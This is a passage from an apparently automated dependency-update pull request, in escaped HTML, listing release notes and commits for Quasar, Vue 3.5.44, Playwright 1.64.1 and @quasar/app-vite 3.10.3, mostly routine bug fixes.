match yet, the console message is now a warning stating the deferral; an invalid selector still logs an error (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18566\"\u003e#18566\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(QBadge): printing\u003c/strong\u003e -\u0026gt; a solid badge keeps its background color on paper instead of leaving white text on a white page (browsers drop backgrounds when printing by default); the same treatment QCheckbox, QRadio and QToggle already have (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18569\"\u003e#18569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efix(lang): Romanian (ro)\u003c/strong\u003e -\u0026gt; corrected mistranslations and grammar: the QEditor labels (undo, subscript, superscript, indent, outdent, the untranslated \u0026quot;Big\u0026quot; font size), the QTable selected-rows label (\u0026quot;Nicio\u0026quot;, plus \u0026quot;de\u0026quot; from 20 rows up), the QTree \u0026quot;no nodes\u0026quot; label and the expand label (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18570\"\u003e#18570\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDonations\u003c/h2\u003e\n\u003cp\u003eQuasar Framework is an open-source MIT-licensed project made possible due to the \u003cstrong\u003egenerous contributions\u003c/strong\u003e by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sponsors/rstoenescu\"\u003eBecoming a sponsor on Github\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://paypal.me/rstoenescu1\"\u003eOne-off donation via PayPal\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/05ab1b17d0831db3c3d6edba1092b6f4f794b50c\"\u003e\u003ccode\u003e05ab1b1\u003c/code\u003e\u003c/a\u003e chore(ui/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/bac7eca196f58486b6845b4e5c9066a64f66e002\"\u003e\u003ccode\u003ebac7eca\u003c/code\u003e\u003c/a\u003e fix(ui): run the JS positioning fallback for popups anchored inside a shadow ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/6330168d4d39e1fe20a066e11b16d920bd2e4848\"\u003e\u003ccode\u003e6330168\u003c/code\u003e\u003c/a\u003e fix(ui): keep the pathname in the scroll lock's route key under a path-shaped...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/7a27d68dcfce8b45806156debc687e4cda8d5968\"\u003e\u003ccode\u003e7a27d68\u003c/code\u003e\u003c/a\u003e fix(ui): compare the hash route path when releasing the iOS scroll lock \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/1857\"\u003e#1857\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/28b2f588fbe82fe4620d70e48e84a528e3e2099a\"\u003e\u003ccode\u003e28b2f58\u003c/code\u003e\u003c/a\u003e refactor(ui): drop the unreachable persian guard from extractDate's day-of-ye...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/71967386c7c4f42f8c6ffeb22016899734b7ceb4\"\u003e\u003ccode\u003e7196738\u003c/code\u003e\u003c/a\u003e fix(ui): extractDate resolves the day of the year (DDD, DDDo, DDDD) (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18575\"\u003e#18575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/e7892cd249b848df043770e260f5c2844cd70e83\"\u003e\u003ccode\u003ee7892cd\u003c/code\u003e\u003c/a\u003e chore(ui/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/fd259524a2797e7e9d0d0841c17cfb39746b2eb2\"\u003e\u003ccode\u003efd25952\u003c/code\u003e\u003c/a\u003e fix(QBadge): keep the background color when printing (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18569\"\u003e#18569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/4ac6d5f1b350d620b243efeefd077fb19dfb7710\"\u003e\u003ccode\u003e4ac6d5f\u003c/code\u003e\u003c/a\u003e fix(QMenu/QTooltip): pick a String target that renders after mount (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18566\"\u003e#18566\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/08cbaa1273e2d96712f839ce8d37c1d49f874ff4\"\u003e\u003ccode\u003e08cbaa1\u003c/code\u003e\u003c/a\u003e fix(lang): correct Romanian (ro) mistranslations and grammar (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/ui/issues/18570\"\u003e#18570\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/quasarframework/quasar/commits/quasar-v2.35.2/ui\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vue` from 3.5.43 to 3.5.44\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/core/releases\"\u003evue's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.5.44\u003c/h2\u003e\n\u003cp\u003eFor stable releases, please refer to \u003ca href=\"https://github.com/vuejs/core/blob/main/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\nFor pre-releases, please refer to \u003ca href=\"https://github.com/vuejs/core/blob/minor/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e of the \u003ccode\u003eminor\u003c/code\u003e branch.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/core/blob/main/CHANGELOG.md\"\u003evue's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/core/compare/v3.5.43...v3.5.44\"\u003e3.5.44\u003c/a\u003e (2026-10-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecompat:\u003c/strong\u003e expose _setupProxy for Vue 2.7 compiled script setup (fix \u003ca href=\"https://redirect.github.com/vuejs/core/issues/11164\"\u003e#11164\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15618\"\u003e#15618\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/f08059d0ca8cf28b8258a6095f8760fa1804d333\"\u003ef08059d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-core:\u003c/strong\u003e parenthesise v-for key in v-memo cache guard (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15724\"\u003e#15724\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/d084b904903a7710ea19b7256b7c681e838eb63e\"\u003ed084b90\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15723\"\u003e#15723\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-dom:\u003c/strong\u003e correctly stringify \u003ccode\u003e0\u003c/code\u003e and \u003ccode\u003efalse\u003c/code\u003e in \u003ccode\u003ev-html\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15571\"\u003e#15571\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/9f3b4377c4bb5ff32b35ff08ce7670f6be6f5dbb\"\u003e9f3b437\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-dom:\u003c/strong\u003e inject transition persisted for v-show in production (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15783\"\u003e#15783\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/89cb2724bf3423fc38dca68af3139d736e6b4833\"\u003e89cb272\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler-sfc:\u003c/strong\u003e error when defineModel prop options reference a destructured prop (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15604\"\u003e#15604\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/38012a5ad90a41c228e153774d089cba9515cf2d\"\u003e38012a5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15602\"\u003e#15602\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecustom-element:\u003c/strong\u003e skip mounting an async custom element removed while its component loads (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15777\"\u003e#15777\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/0f8e7b40175059e262e0db232ae0c08b427486b5\"\u003e0f8e7b4\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15775\"\u003e#15775\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehydration:\u003c/strong\u003e observe children of a display: contents root in hydrateOnVisible (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15773\"\u003e#15773\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/7f688e84745558d95b836c0aac25c3ca3257e943\"\u003e7f688e8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eKeepAlive:\u003c/strong\u003e unmount pruned current component when its vnode was cloned on mount (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15711\"\u003e#15711\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/92798ac0a8810283055478dab1e54569f3e94c23\"\u003e92798ac\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15710\"\u003e#15710\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e avoid mutating native array iterators (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15703\"\u003e#15703\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/7f9d45d15bd10b6b9b136eb2b3a8879b449fec0d\"\u003e7f9d45d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15643\"\u003e#15643\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e do not track deps in watcher callbacks run inside another effect (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15782\"\u003e#15782\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/db00fe9819eb17f0a5bde7e1fcfafe5984e267a3\"\u003edb00fe9\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/5009\"\u003e#5009\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e once watcher should stop when its callback throws (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15755\"\u003e#15755\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/ae4bd94b6e5675f991696236dcc76a11d0597535\"\u003eae4bd94\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereactivity:\u003c/strong\u003e preserve shallow collection semantics (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15793\"\u003e#15793\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/b600466135e0910d142d14f56ffec933c1c420a2\"\u003eb600466\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15792\"\u003e#15792\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e detect new prop keys when comparing full props (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15634\"\u003e#15634\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/702fa61be9344852989bcd178681adec13264469\"\u003e702fa61\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15632\"\u003e#15632\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e keep async placeholder for block patching and pending component updates (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15554\"\u003e#15554\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/05ec25f835cc65058bac7a85e4a5eb8075ed3151\"\u003e05ec25f\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15551\"\u003e#15551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e only flush jobs queued by the root render itself (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15757\"\u003e#15757\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/0bea14b962f1f6e27d2d994132efc2269945ab0f\"\u003e0bea14b\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/6728\"\u003e#6728\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-core:\u003c/strong\u003e render nothing for an invalid v-for range in production (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15742\"\u003e#15742\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/ad19e7da3d58b772513ba3c2ded731eedb7d227d\"\u003ead19e7d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-dom:\u003c/strong\u003e preserve v-show display for unchanged style strings (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15794\"\u003e#15794\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/c0a6d3f2bbf80cf930f4c837409dbee95a149271\"\u003ec0a6d3f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eruntime-dom:\u003c/strong\u003e treat playsinline as a boolean attribute (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15627\"\u003e#15627\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/a084e4486f1c4dc118518d43a1c7547031c53a5c\"\u003ea084e44\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver-renderer:\u003c/strong\u003e propagate async setup errors (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15857\"\u003e#15857\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/693037486f38b3d3acf4cdf7b9850917c44cf9cb\"\u003e6930374\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15716\"\u003e#15716\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003essr:\u003c/strong\u003e honor falsy vnode content overrides (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15769\"\u003e#15769\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/c11c5c8f07c8527b537b9ce6d801f80bbdd12129\"\u003ec11c5c8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esuspense:\u003c/strong\u003e mount resolved async component with its own namespace (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15640\"\u003e#15640\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/2a086a2bee33abc30e20f8a3b0a2be418ae48967\"\u003e2a086a2\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15639\"\u003e#15639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esuspense:\u003c/strong\u003e skip rendering async components unmounted while pending (\u003ca href=\"https://github.com/vuejs/core/commit/4ab865a848a1da3d10fb674f857e5fff13094644\"\u003e4ab865a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eteleport:\u003c/strong\u003e move targetStart and keep children before targetAnchor (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15818\"\u003e#15818\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/d3c6e02e7405b9dafa75b1007ca45fb376d45729\"\u003ed3c6e02\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/15817\"\u003e#15817\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etransition-group:\u003c/strong\u003e measure nested groups against their moving outer item (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15848\"\u003e#15848\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/1936c8791b61374fd21a99c99f450ee2b057b33e\"\u003e1936c87\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/5385\"\u003e#5385\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vuejs/core/issues/1531\"\u003e#1531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etransition:\u003c/strong\u003e handle comment-wrapped component roots (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15853\"\u003e#15853\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/core/commit/ff3501429d4970c37194708b055492a56d9e5be5\"\u003eff35014\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/core/issues/6080\"\u003e#6080\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vuejs/core/issues/5500\"\u003e#5500\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/bf5f0dd877dd3c23ce85c2cbc1dd771567e84c8c\"\u003e\u003ccode\u003ebf5f0dd\u003c/code\u003e\u003c/a\u003e release: v3.5.44\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/693037486f38b3d3acf4cdf7b9850917c44cf9cb\"\u003e\u003ccode\u003e6930374\u003c/code\u003e\u003c/a\u003e fix(server-renderer): propagate async setup errors (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15857\"\u003e#15857\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/8e8c54756f057a47d46ad4bfe32cf1409476ed3c\"\u003e\u003ccode\u003e8e8c547\u003c/code\u003e\u003c/a\u003e chore(deps): update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15585\"\u003e#15585\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/4cb0ca8e207fa1c7fe029fe15e75bb518cc912a7\"\u003e\u003ccode\u003e4cb0ca8\u003c/code\u003e\u003c/a\u003e chore(deps): update playground (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15685\"\u003e#15685\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/e38478f5b36a377d2a465fb40c882a61b1910df2\"\u003e\u003ccode\u003ee38478f\u003c/code\u003e\u003c/a\u003e chore(deps): update dawidd6/action-download-artifact action to v27 (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15768\"\u003e#15768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/1caed5ab1b8e9821926402621f7364205b44e559\"\u003e\u003ccode\u003e1caed5a\u003c/code\u003e\u003c/a\u003e chore(deps): update compiler (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15586\"\u003e#15586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/a49f451851d4ec4be1a5353960c4e328afd13367\"\u003e\u003ccode\u003ea49f451\u003c/code\u003e\u003c/a\u003e chore(deps): update lint (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15680\"\u003e#15680\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/219b85809996bc57e275ba2d4a2b2c4da025da96\"\u003e\u003ccode\u003e219b858\u003c/code\u003e\u003c/a\u003e chore(deps): update build (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15679\"\u003e#15679\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/ff3501429d4970c37194708b055492a56d9e5be5\"\u003e\u003ccode\u003eff35014\u003c/code\u003e\u003c/a\u003e fix(transition): handle comment-wrapped component roots (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15853\"\u003e#15853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/core/commit/d084b904903a7710ea19b7256b7c681e838eb63e\"\u003e\u003ccode\u003ed084b90\u003c/code\u003e\u003c/a\u003e fix(compiler-core): parenthesise v-for key in v-memo cache guard (\u003ca href=\"https://redirect.github.com/vuejs/core/issues/15724\"\u003e#15724\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vuejs/core/compare/v3.5.43...v3.5.44\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@playwright/test` from 1.64.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.64.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@quasar/app-vite` from 3.10.2 to 3.10.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/quasarframework/quasar/releases\"\u003e@​quasar/app-vite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​quasar/app-vite-v3\u003c/code\u003e.10.3\u003c/h2\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(app-vite): dev server -\u0026gt; the first visit to a lazy route no longer triggers a full page reload (Vite's \u0026quot;optimized dependencies changed. reloading\u0026quot;, hidden at the default \u003ccode\u003elogLevel: 'warn'\u003c/code\u003e), which was dropping app state and the navigation itself, and making e2e specs fail at random. Vite's dependency scanner was reading \u003ccode\u003eindex.html\u003c/code\u003e from disk, where Quasar's entry script is not yet injected, so it never found anything to pre-bundle; it now starts from the generated client entry too. With \u003ccode\u003ebuild.filenameBasedRouting\u003c/code\u003e the page components are scanned directly as well, since the scanner cannot see through the virtual \u003ccode\u003evue-router/auto-routes\u003c/code\u003e module (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(app-vite): dev server with \u003ccode\u003ebuild.vueJsx\u003c/code\u003e -\u0026gt; Vite's dependency scanner now compiles \u003ccode\u003e.jsx\u003c/code\u003e/\u003ccode\u003e.tsx\u003c/code\u003e files against Vue's JSX runtime as well; before, it would have failed the whole scan with \u0026quot;could not resolve react/jsx-dev-runtime\u0026quot; once it reached a JSX component (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDonations\u003c/h2\u003e\n\u003cp\u003eQuasar Framework is an open-source MIT-licensed project made possible due to the \u003cstrong\u003egenerous contributions\u003c/strong\u003e by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sponsors/rstoenescu\"\u003eBecoming a sponsor on Github\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://paypal.me/rstoenescu1\"\u003eOne-off donation via PayPal\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/1a3bcbbc2d16541f5ace6ce9e064c4c48829da7c\"\u003e\u003ccode\u003e1a3bcbb\u003c/code\u003e\u003c/a\u003e chore(app-vite/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/f887b70088bef858239584e9ba90de6c75693f7b\"\u003e\u003ccode\u003ef887b70\u003c/code\u003e\u003c/a\u003e fix(app-vite): scan the filename-based routing folders for dependencies \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/cef449f1b1169def657c6a48364074392ed1fc9f\"\u003e\u003ccode\u003ecef449f\u003c/code\u003e\u003c/a\u003e fix(app-vite): give Vite's dep scanner the build.vueJsx runtime \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/9765d03bb17a219f19b6dfcd951eb5dff4f8feda\"\u003e\u003ccode\u003e9765d03\u003c/code\u003e\u003c/a\u003e fix(app-vite): point Vite's dep scanner at the dev client entry \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca 